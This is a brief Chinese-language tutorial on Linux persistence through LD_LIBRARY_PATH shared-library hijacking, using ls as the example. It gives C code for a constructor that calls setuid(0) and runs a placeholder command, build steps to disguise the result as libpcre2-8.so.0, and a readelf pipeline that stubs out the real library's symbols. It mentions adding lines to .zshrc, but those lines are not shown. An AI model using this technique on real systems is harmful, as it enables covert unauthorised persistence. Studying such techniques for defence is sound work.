以 ls 为例制作 LD_LIBRARY_PATH 权限维持

以 ls 为例做实验

.zshrc 每打开一个终端就会执行，将下面的内容写入到 .zshrc 中。

编译此代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // for setuid/setgid

static void hijack() __attribute__((constructor));
void hijack() {

	setuid(0);
	setgid(0);
	printf("HIJACKING...\n");
	system("touch /tmp/hijack1");
}

gcc -Wall -fPIC -c -o hijack.o hijack.c
gcc -shared -o hijack.so hijack.o
mv hijack.so libpcre2-8.so.0

此时新建一个终端会报错

为了使 so 文件中的代码正常执行。
只需要将 readelf -s --wide /lib/x86_64-linux-gnu/libpcre2-8.so.0 | grep pcre2_ | awk '{print $8}' | sed 's/^/int /' | sed 's/$/;/' 结果复制到 hijack.c 中，再次编译。

此时在打开一个新的终端就会执行 so 中的代码。